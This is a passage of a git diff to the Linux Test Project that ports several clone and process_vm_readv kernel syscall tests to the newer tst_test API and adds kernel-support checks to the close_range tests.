@@ -1,140 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
 
-/*
- *	Test to verify inheritance of environment variables by child.
+/*\
+ * [Description]
+ *
+ * Test to verify inheritance of environment variables by child.
  */
 
-#if defined UCLINUX && !__THROW
-/* workaround for libc bug */
-#define __THROW
-#endif
-
-#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
 #include <sched.h>
-#include <sys/wait.h>
-#include <fcntl.h>
-#include "test.h"
+#include "tst_test.h"
 #include "clone_platform.h"
 
 #define MAX_LINE_LENGTH 256
+#define ENV_VAL "LTP test variable value"
+#define ENV_ID "LTP_CLONE_TEST"
 
-static void setup(void);
-static void cleanup(void);
-static int child_environ();
+static void *child_stack;
 
-static int pfd[2];
-
-char *TCID = "clone06";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static int child_environ(void *arg LTP_ATTRIBUTE_UNUSED)
 {
-
-	int lc, status;
-	void *child_stack;
-	char *parent_env;
-	char buff[MAX_LINE_LENGTH];
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	child_stack = malloc(CHILD_STACK_SIZE);
-	if (child_stack == NULL)
-		tst_brkm(TBROK, cleanup, "Cannot allocate stack for child");
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if ((pipe(pfd)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "pipe() failed");
-
-		TEST(ltp_clone(SIGCHLD, child_environ, NULL, CHILD_STACK_SIZE,
-			       child_stack));
-
-		if (TEST_RETURN == -1)
-			tst_brkm(TFAIL | TTERRNO, cleanup, "clone failed");
-
-		/* close write end from parent */
-		if ((close(pfd[1])) == -1)
-			tst_resm(TWARN | TERRNO, "close(pfd[1]) failed");
-
-		/* Read env var from read end */
-		if ((read(pfd[0], buff, sizeof(buff))) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "read from pipe failed");
-
-		/* Close read end from parent */
-		if ((close(pfd[0])) == -1)
-			tst_resm(TWARN | TERRNO, "close(pfd[0]) failed");
-
-		parent_env = getenv("TERM") ? : "";
-
-		if ((strcmp(buff, parent_env)) == 0)
-			tst_resm(TPASS, "Test Passed");
-		else
-			tst_resm(TFAIL, "Test Failed");
-
-		if ((wait(&status)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "wait failed, status: %d", status);
+	const char *env_val = getenv(ENV_ID);
+	if (!env_val) {
+		tst_res(TFAIL, "Variable " ENV_ID " not defined in child");
+		exit(0);
 	}
 
-	free(child_stack);
+	if (strcmp(env_val, ENV_VAL)) {
+		tst_res(TFAIL, "Variable value is different");
+		exit(0);
+	}
 
-	cleanup();
-	tst_exit();
+	tst_res(TPASS, "The environment variables of the child and the parent are the same ");
+
+	exit(0);
+}
+
+static void verify_clone(void)
+{
+	TST_EXP_PID_SILENT(ltp_clone(SIGCHLD, child_environ, NULL, CHILD_STACK_SIZE,
+				child_stack));
+
+	if (!TST_PASS)
+		return;
+
+	tst_reap_children();
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
+	SAFE_SETENV(ENV_ID, ENV_VAL, 0);
 }
 
-static void cleanup(void)
-{
-}
-
-/*
- *	Function executed by child.
- *	Gets the value for environment variable,TERM &
- *	writes it to  a pipe.
- */
-static int child_environ(void)
-{
-
-	char var[MAX_LINE_LENGTH];
-
-	/* Close read end from child */
-	if ((close(pfd[0])) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "close(pfd[0]) failed");
-
-	if ((sprintf(var, "%s", getenv("TERM") ? : "")) < 0)
-		tst_resm(TWARN | TERRNO, "sprintf() failed");
-
-	if ((write(pfd[1], var, MAX_LINE_LENGTH)) == -1)
-		tst_resm(TWARN | TERRNO, "write to pipe failed");
-
-	/* Close write end of pipe from child */
-	if ((close(pfd[1])) == -1)
-		tst_resm(TWARN | TERRNO, "close(pfd[1]) failed");
-
-	exit(0);
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_clone,
+	.bufs = (struct tst_buffers []) {
+		{&child_stack, .size = CHILD_STACK_SIZE},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/clone/clone07.c b/testcases/kernel/syscalls/clone/clone07.c
index 4b2e04e..8848b2b 100644
--- a/testcases/kernel/syscalls/clone/clone07.c
+++ b/testcases/kernel/syscalls/clone/clone07.c
@@ -1,128 +1,60 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) International Business Machines  Corp., 2003.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*
- *	This is a test for a glibc bug for the clone(2) system call.
  */
 
-#if defined UCLINUX && !__THROW
-/* workaround for libc bug */
-#define __THROW
-#endif
+/*\
+ * [Description]
+ *
+ * Test for a libc bug where exiting child function by returning from
+ * it caused SIGSEGV.
+ */
 
-#include <errno.h>
 #include <sched.h>
-#include <sys/wait.h>
-#include "test.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 #include "clone_platform.h"
 
-#define TRUE 1
-#define FALSE 0
+static void *child_stack;
 
-static void setup();
-static int do_child();
-
-char *TCID = "clone07";
-int TST_TOTAL = 1;
-
-static void sigsegv_handler(int);
-static void sigusr2_handler(int);
-static int child_pid;
-static int fail = FALSE;
-
-int main(int ac, char **av)
-{
-
-	int lc, status;
-	void *child_stack;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		child_stack = malloc(CHILD_STACK_SIZE);
-		if (child_stack == NULL)
-			tst_brkm(TBROK, NULL,
-				 "Cannot allocate stack for child");
-
-		child_pid = ltp_clone(SIGCHLD, do_child, NULL,
-				      CHILD_STACK_SIZE, child_stack);
-
-		if (child_pid < 0)
-			tst_brkm(TBROK | TERRNO, NULL, "clone failed");
-
-		if ((wait(&status)) == -1)
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "wait failed, status: %d", status);
-
-		free(child_stack);
-	}
-
-	if (fail == FALSE)
-		tst_resm(TPASS,
-			 "Use of return() in child did not cause SIGSEGV");
-	else
-		tst_resm(TFAIL, "Use of return() in child caused SIGSEGV");
-
-	tst_exit();
-}
-
-static void setup(void)
-{
-	struct sigaction def_act;
-	struct sigaction act;
-
-	TEST_PAUSE;
-
-	act.sa_handler = sigsegv_handler;
-	act.sa_flags = SA_RESTART;
-	sigemptyset(&act.sa_mask);
-	if ((sigaction(SIGSEGV, &act, NULL)) == -1)
-		tst_resm(TWARN | TERRNO,
-			 "sigaction() for SIGSEGV failed in test_setup()");
-
-	/* Setup signal handler for SIGUSR2 */
-	def_act.sa_handler = sigusr2_handler;
-	def_act.sa_flags = SA_RESTART | SA_RESETHAND;
-	sigemptyset(&def_act.sa_mask);
-
-	if ((sigaction(SIGUSR2, &def_act, NULL)) == -1)
-		tst_resm(TWARN | TERRNO,
-			 "sigaction() for SIGUSR2 failed in test_setup()");
-}
-
-static int do_child(void)
+static int do_child(void *arg LTP_ATTRIBUTE_UNUSED)
 {
 	return 0;
 }
 
-static void sigsegv_handler(int sig)
+static void verify_clone(void)
 {
-	if (child_pid == 0) {
-		kill(getppid(), SIGUSR2);
-		_exit(42);
+	int status;
+	pid_t pid = 0;
+
+	TST_EXP_PID_SILENT(ltp_clone(SIGCHLD, do_child, NULL, CHILD_STACK_SIZE,
+				child_stack));
+
+	if (!TST_PASS)
+		return;
+
+	SAFE_WAITPID(pid, &status, 0);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
+		tst_res(TPASS, "Using return in child will not cause abnormal exit");
+		return;
 	}
+
+	if (WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) {
+		tst_res(TFAIL, "Use of return in child caused SIGSEGV");
+		return;
+	}
+
+	tst_res(TFAIL, "Using return 0 in child the child %s", tst_strstatus(status));
 }
 
-/* sig_default_handler() - Default handler for parent */
-static void sigusr2_handler(int sig)
-{
-	if (child_pid != 0)
-		fail = TRUE;
-}
+static struct tst_test test = {
+	.test_all = verify_clone,
+	.bufs = (struct tst_buffers []) {
+		{&child_stack, .size = CHILD_STACK_SIZE},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/clone/clone08.c b/testcases/kernel/syscalls/clone/clone08.c
index 3de1fe9..ad285a4 100644
--- a/testcases/kernel/syscalls/clone/clone08.c
+++ b/testcases/kernel/syscalls/clone/clone08.c
@@ -11,7 +11,6 @@
 #include <errno.h>
 #include <sched.h>
 #include <sys/wait.h>
-#include <linux/futex.h>
 
 #include "tst_test.h"
 #include "clone_platform.h"
diff --git a/testcases/kernel/syscalls/clone3/clone301.c b/testcases/kernel/syscalls/clone3/clone301.c
index 7ac4bb5..f7ef0b2 100644
--- a/testcases/kernel/syscalls/clone3/clone301.c
+++ b/testcases/kernel/syscalls/clone3/clone301.c
@@ -16,7 +16,7 @@
 
 #include "tst_test.h"
 #include "lapi/clone.h"
-#include "lapi/pidfd_send_signal.h"
+#include "lapi/pidfd.h"
 
 #define CHILD_SIGNAL	SIGUSR1
 #define DATA	777
diff --git a/testcases/kernel/syscalls/close_range/close_range01.c b/testcases/kernel/syscalls/close_range/close_range01.c
index 5e2de4d..5490967 100644
--- a/testcases/kernel/syscalls/close_range/close_range01.c
+++ b/testcases/kernel/syscalls/close_range/close_range01.c
@@ -53,6 +53,8 @@
 
 static void setup(void)
 {
+	close_range_supported_by_kernel();
+
 	struct rlimit nfd;
 
 	SAFE_GETRLIMIT(RLIMIT_NOFILE, &nfd);
diff --git a/testcases/kernel/syscalls/close_range/close_range02.c b/testcases/kernel/syscalls/close_range/close_range02.c
index bd46936..2c790cf 100644
--- a/testcases/kernel/syscalls/close_range/close_range02.c
+++ b/testcases/kernel/syscalls/close_range/close_range02.c
@@ -111,4 +111,5 @@
 	.tcnt = 6,
 	.forks_child = 1,
 	.test = run,
+	.setup = close_range_supported_by_kernel,
 };
diff --git a/testcases/kernel/syscalls/cma/process_vm01.c b/testcases/kernel/syscalls/cma/process_vm01.c
index f9bd865..16f14d6 100644
--- a/testcases/kernel/syscalls/cma/process_vm01.c
+++ b/testcases/kernel/syscalls/cma/process_vm01.c
@@ -124,7 +124,7 @@
 
 static void cma_test_params_read(struct process_vm_params *params)
 {
-	TEST(ltp_syscall(__NR_process_vm_readv,
+	TEST(tst_syscall(__NR_process_vm_readv,
 			 params->pid,
 			 params->lvec, params->liovcnt,
 			 params->rvec, params->riovcnt,
@@ -133,7 +133,7 @@
 
 static void cma_test_params_write(struct process_vm_params *params)
 {
-	TEST(ltp_syscall(__NR_process_vm_writev,
+	TEST(tst_syscall(__NR_process_vm_writev,
 			 params->pid,
 			 params->lvec, params->liovcnt,
 			 params->rvec, params->riovcnt,
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv02.c b/testcases/kernel/syscalls/cma/process_vm_readv02.c
index ac53ed2..2bd66a4 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv02.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv02.c
@@ -1,164 +1,123 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2012
  * Copyright (c) Linux Test Project, 2012
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
+/*\
+ * [Description]
+ *
+ * Fork two children, one child allocates memory and initializes it;
+ * then the other one calls process_vm_readv and reads from the same
+ * memory location, it then verifies if process_vm_readv returns
+ * correct data.
+ */
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-char *TCID = "process_vm_readv02";
-int TST_TOTAL = 1;
+static uintptr_t *data_ptr;
 
-static char *tst_string = "THIS IS A TEST";
-static int len;
-static int pipe_fd[2];
-static pid_t pids[2];
-
-static void child_alloc(void);
-static void child_invoke(void);
-static void setup(void);
-static void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	int lc, status;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		len = strlen(tst_string);
-
-		SAFE_PIPE(cleanup, pipe_fd);
-
-		/* the start of child_alloc and child_invoke is already
-		 * synchronized via pipe */
-		pids[0] = fork();
-		switch (pids[0]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #0");
-		case 0:
-			child_alloc();
-			exit(0);
-		}
-
-		pids[1] = fork();
-		switch (pids[1]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #1");
-		case 0:
-			child_invoke();
-			exit(0);
-		}
-
-		/* wait until child_invoke reads from child_alloc's VM */
-		SAFE_WAITPID(cleanup, pids[1], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 1 returns %d", status);
-
-		/* child_alloc is free to exit now */
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		SAFE_WAITPID(cleanup, pids[0], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 0 returns %d", status);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void child_alloc(void)
+static void child_alloc(const char *data)
 {
 	char *foo;
-	char buf[BUFSIZ];
 
-	foo = SAFE_MALLOC(tst_exit, len + 1);
-	strncpy(foo, tst_string, len);
-	foo[len] = '\0';
-	tst_resm(TINFO, "child 0: memory allocated and initialized.");
+	foo = strdup(data);
+	*data_ptr = (uintptr_t)foo;
 
-	/* passing addr of string "foo" via pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	snprintf(buf, BUFSIZ, "%p", foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
+	tst_res(TINFO, "child 0: memory allocated and initialized");
 
-	/* wait until child_invoke is done reading from our VM */
-	TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
+	/* wake and wait until child_invoke is done reading from our VM */
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 }
 
-static void child_invoke(void)
+static void child_invoke(const char *data, int length, pid_t pid_alloc)
 {
-	char *lp, *rp;
-	char buf[BUFSIZ];
+	char *lp;
 	struct iovec local, remote;
 
-	/* get addr from pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
-	SAFE_READ(tst_exit, 0, pipe_fd[0], buf, BUFSIZ);
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	if (sscanf(buf, "%p", &rp) != 1)
-		tst_brkm(TBROK | TERRNO, tst_exit, "sscanf");
-
-	lp = SAFE_MALLOC(tst_exit, len + 1);
+	lp = SAFE_MALLOC(length);
 	local.iov_base = lp;
-	local.iov_len = len;
-	remote.iov_base = rp;
-	remote.iov_len = len;
+	local.iov_len = length;
+	remote.iov_base = (void *)*data_ptr;
+	remote.iov_len = length;
 
-	tst_resm(TINFO, "child 1: reading string from same memory location.");
-	TEST(ltp_syscall(__NR_process_vm_readv, pids[0],
-			 &local, 1UL, &remote, 1UL, 0UL));
-	if (TEST_RETURN != len)
-		tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv");
-	if (strncmp(lp, tst_string, len) != 0)
-		tst_brkm(TFAIL, tst_exit, "child 1: expected string: %s, "
-			 "received string: %256s", tst_string, lp);
+	tst_res(TINFO, "child 1: reading string from same memory location");
+
+	TEST(tst_syscall(__NR_process_vm_readv, pid_alloc, &local, 1UL, &remote,
+					 1UL, 0UL));
+
+	if (TST_RET != length)
+		tst_brk(TBROK, "process_vm_readv: %s", tst_strerrno(-TST_RET));
+
+	if (strncmp(lp, data, length) != 0)
+		tst_res(TFAIL, "child 1: expected string: %s, received string: %256s",
+				data, lp);
 	else
-		tst_resm(TPASS, "expected string received.");
+		tst_res(TPASS, "expected string received");
 }
 
 static void setup(void)
 {
-	tst_require_root();
-
 	/* Just a sanity check of the existence of syscall */
-	ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
+	tst_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL);
 
-	tst_tmpdir();
-	TST_CHECKPOINT_INIT(cleanup);
-
-	TEST_PAUSE;
+	data_ptr = SAFE_MMAP(NULL, sizeof(uintptr_t), PROT_READ | PROT_WRITE,
+						 MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (data_ptr)
+		SAFE_MUNMAP(data_ptr, sizeof(uintptr_t));
 }
+
+static void run(void)
+{
+	const char *data = "test";
+	pid_t pid_alloc;
+	pid_t pid_invoke;
+	int length;
+	int status;
+
+	length = strlen(data);
+
+	pid_alloc = SAFE_FORK();
+	if (!pid_alloc) {
+		child_alloc(data);
+		return;
+	}
+
+	/* wait until child_alloc has allocated VM */
+	TST_CHECKPOINT_WAIT(0);
+
+	pid_invoke = SAFE_FORK();
+	if (!pid_invoke) {
+		child_invoke(data, length, pid_alloc);
+		return;
+	}
+
+	/* wait until child_invoke reads from child_alloc's VM */
+	SAFE_WAITPID(pid_invoke, &status, 0);
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_res(TFAIL, "child 1: %s", tst_strstatus(status));
+
+	/* child_alloc is free to exit now */
+	TST_CHECKPOINT_WAKE(0);
+
+	SAFE_WAITPID(pid_alloc, &status, 0);
+	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
+		tst_res(TFAIL, "child 0: %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/syscalls/cma/process_vm_readv03.c b/testcases/kernel/syscalls/cma/process_vm_readv03.c
index 561146e..4caafe8 100644
--- a/testcases/kernel/syscalls/cma/process_vm_readv03.c
+++ b/testcases/kernel/syscalls/cma/process_vm_readv03.c
@@ -1,274 +1,197 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2012
  * Copyright (c) Linux Test Project, 2012
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#define _GNU_SOURCE
-#include <sys/types.h>
-#include <sys/uio.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <limits.h>
+/*\
+ * [Description]
+ *
+ * Fork two children, one child mallocs randomly sized trunks of memory
+ * and initializes them; the other child calls process_vm_readv with
+ * the remote iovecs initialized to the original process memory
+ * locations and the local iovecs initialized to randomly sized and
+ * allocated local memory locations. The second child then verifies
+ * that the data is copied correctly.
+ */
+
 #include <stdio.h>
 #include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-#include <limits.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include <sys/types.h>
+#include <sys/wait.h>
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-char *TCID = "process_vm_readv03";
-int TST_TOTAL = 1;
+#define MAX_IOVECS 1024
 
-#define NUM_LOCAL_VECS 4
+static struct tcase {
+	int bufsize;
+	int remote_iovecs;
+	int local_iovecs;
+} testcases[] = {
+	{ .bufsize = 1024, .remote_iovecs = 1024, .local_iovecs = 8 },
+	{ .bufsize = 1024, .remote_iovecs = 512, .local_iovecs = 16 },
+	{ .bufsize = 1024, .remote_iovecs = 256, .local_iovecs = 32 },
+	{ .bufsize = 1024, .remote_iovecs = 128, .local_iovecs = 64 },
+	{ .bufsize = 1024, .remote_iovecs = 64, .local_iovecs = 128 },
+	{ .bufsize = 1024, .remote_iovecs = 32, .local_iovecs = 256 },
+	{ .bufsize = 1024, .remote_iovecs = 16, .local_iovecs = 512 },
+	{ .bufsize = 1024, .remote_iovecs = 8, .local_iovecs = 1024 },
 
-static int nflag, sflag;
-static char *nr_opt, *sz_opt;
-static option_t options[] = {
-	{"n:", &nflag, &nr_opt},
-	{"s:", &sflag, &sz_opt},
-	{NULL, NULL, NULL}
+	{ .bufsize = 131072, .remote_iovecs = 1024, .local_iovecs = 8 },
+	{ .bufsize = 131072, .remote_iovecs = 512, .local_iovecs = 16 },
+	{ .bufsize = 131072, .remote_iovecs = 256, .local_iovecs = 32 },
+	{ .bufsize = 131072, .remote_iovecs = 128, .local_iovecs = 64 },
+	{ .bufsize = 131072, .remote_iovecs = 64, .local_iovecs = 128 },
+	{ .bufsize = 131072, .remote_iovecs = 32, .local_iovecs = 256 },
+	{ .bufsize = 131072, .remote_iovecs = 16, .local_iovecs = 512 },
+	{ .bufsize = 131072, .remote_iovecs = 8, .local_iovecs = 1024 },
 };
 
-static int nr_iovecs;
-static long bufsz;
-static int pipe_fd[2];
-static pid_t pids[2];
+static char **data_ptr;
 
-static void gen_random_arr(int *arr, int arr_sz);
-static void child_alloc(int *bufsz_arr);
-static void child_invoke(int *bufsz_arr);
-static long *fetch_remote_addrs(void);
-static void setup(void);
-static void cleanup(void);
-static void help(void);
-
-int main(int argc, char **argv)
+static void create_data_size(int *arr, int arr_sz, int buffsize)
 {
-	int lc, status;
-	int *bufsz_arr;
-
-	tst_parse_opts(argc, argv, options, &help);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		SAFE_PIPE(cleanup, pipe_fd);
-
-		bufsz_arr = SAFE_MALLOC(cleanup, nr_iovecs * sizeof(int));
-		gen_random_arr(bufsz_arr, nr_iovecs);
-
-		/* the start of child_alloc and child_invoke is already
-		 * synchronized via pipe */
-		pids[0] = fork();
-		switch (pids[0]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #0");
-		case 0:
-			child_alloc(bufsz_arr);
-			exit(0);
-		}
-
-		pids[1] = fork();
-		switch (pids[1]) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork #1");
-		case 0:
-			child_invoke(bufsz_arr);
-			exit(0);
-		}
-
-		/* wait until child_invoke reads from child_alloc's VM */
-		SAFE_WAITPID(cleanup, pids[1], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 1 returns %d", status);
-
-		/* child_alloc is free to exit now */
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		SAFE_WAITPID(cleanup, pids[0], &status, 0);
-		if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-			tst_resm(TFAIL, "child 0 returns %d", status);
-
-		free(bufsz_arr);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void gen_random_arr(int *arr, int arr_sz)
-{
-	long bufsz_left, bufsz_single;
+	long bufsz_left;
 	int i;
 
-	bufsz_left = bufsz;
+	bufsz_left = buffsize;
 	for (i = 0; i < arr_sz - 1; i++) {
-		bufsz_single = rand() % (bufsz_left / 2) + 1;
-		arr[i] = bufsz_single;
-		bufsz_left -= bufsz_single;
+		arr[i] = rand() % ((bufsz_left / 2) + 1);
+		bufsz_left -= arr[i];
 	}
+
 	arr[arr_sz - 1] = bufsz_left;
 }
 
-static void child_alloc(int *bufsz_arr)
+static void child_alloc(const int *sizes, int nr_iovecs)
 {
-	char **foo;
 	int i, j;
-	char buf[BUFSIZ];
 	long count;
 
-	foo = SAFE_MALLOC(tst_exit, nr_iovecs * sizeof(char *));
-
 	count = 0;
 	for (i = 0; i < nr_iovecs; i++) {
-		foo[i] = SAFE_MALLOC(tst_exit, bufsz_arr[i]);
-		for (j = 0; j < bufsz_arr[i]; j++) {
-			foo[i][j] = count % 256;
+		data_ptr[i] = sizes[i] ? SAFE_MALLOC(sizes[i]) : NULL;
+
+		for (j = 0; j < sizes[i]; j++) {
+			data_ptr[i][j] = count % 256;
 			count++;
 		}
 	}
-	tst_resm(TINFO, "child 0: %d iovecs allocated and initialized.",
-		 nr_iovecs);
 
-	/* passing addr via pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	snprintf(buf, BUFSIZ, "%p", (void *)foo);
-	SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1);
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
+	tst_res(TINFO, "child_alloc: memory allocated and initialized");
 
-	/* wait until child_invoke is done reading from our VM */
-	TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 }
 
-static long *fetch_remote_addrs(void)
+static void child_read(const int *sizes, int local_iovecs, int remote_iovecs,
+			 pid_t pid_alloc, int buffsize)
 {
-	long *foo, *bar;
-	char buf[BUFSIZ];
-	long len;
-	struct iovec local, remote;
-
-	/* get addr from pipe */
-	SAFE_CLOSE(tst_exit, pipe_fd[1]);
-	SAFE_READ(tst_exit, 0, pipe_fd[0], buf, BUFSIZ);
-	SAFE_CLOSE(tst_exit, pipe_fd[0]);
-	if (sscanf(buf, "%p", &foo) != 1)
-		tst_brkm(TBROK | TERRNO, tst_exit, "sscanf");
-
-	len = nr_iovecs * sizeof(long);
-	bar = SAFE_MALLOC(tst_exit, len);
-	local.iov_base = bar;
-	local.iov_len = len;
-	remote.iov_base = foo;
-	remote.iov_len = len;
-
-	TEST(ltp_syscall(__NR_process_vm_readv, pids[0], &local,
-			 1UL, &remote, 1UL, 0UL));
-	if (TEST_RETURN != len)
-		tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv");
-
-	return local.iov_base;
-}
-
-static void child_invoke(int *bufsz_arr)
-{
-	int i, j, count, nr_error;
+	struct iovec local[local_iovecs];
+	struct iovec remote[remote_iovecs];
+	int i, j;
+	int count;
+	int nr_error;
+	int local_sizes[local_iovecs];
 	unsigned char expect, actual;
-	long *addrs;
-	struct iovec local[NUM_LOCAL_VECS], *remote;
-	int rcv_arr[NUM_LOCAL_VECS];
 
-	addrs = fetch_remote_addrs();
-
-	remote = SAFE_MALLOC(tst_exit, nr_iovecs * sizeof(struct iovec));
-	for (i = 0; i < nr_iovecs; i++) {
-		remote[i].iov_base = (void *)addrs[i];
-		remote[i].iov_len = bufsz_arr[i];
+	for (i = 0; i < remote_iovecs; i++) {
+		remote[i].iov_base = (void *)data_ptr[i];
+		remote[i].iov_len = sizes[i];
 	}
-	tst_resm(TINFO, "child 1: %d remote iovecs received.", nr_iovecs);
 
-	gen_random_arr(rcv_arr, NUM_LOCAL_VECS);
-	for (i = 0; i < NUM_LOCAL_VECS; i++) {
-		local[i].iov_base = SAFE_MALLOC(tst_exit, rcv_arr[i]);
-		local[i].iov_len = rcv_arr[i];
+	create_data_size(local_sizes, local_iovecs, buffsize);
+	for (i = 0; i < local_iovecs; i++) {
+		local[i].iov_base = SAFE_MALLOC(local_sizes[i]);
+		local[i].iov_len = local_sizes[i];
 	}
-	tst_resm(TINFO, "child 1: %d local iovecs initialized.",
-		 NUM_LOCAL_VECS);
 
-	TEST(ltp_syscall(__NR_process_vm_readv, pids[0], local,
-			    (unsigned long)NUM_LOCAL_VECS, remote,
-			    (unsigned long)nr_iovecs, 0UL));
-	if (TEST_RETURN != bufsz)
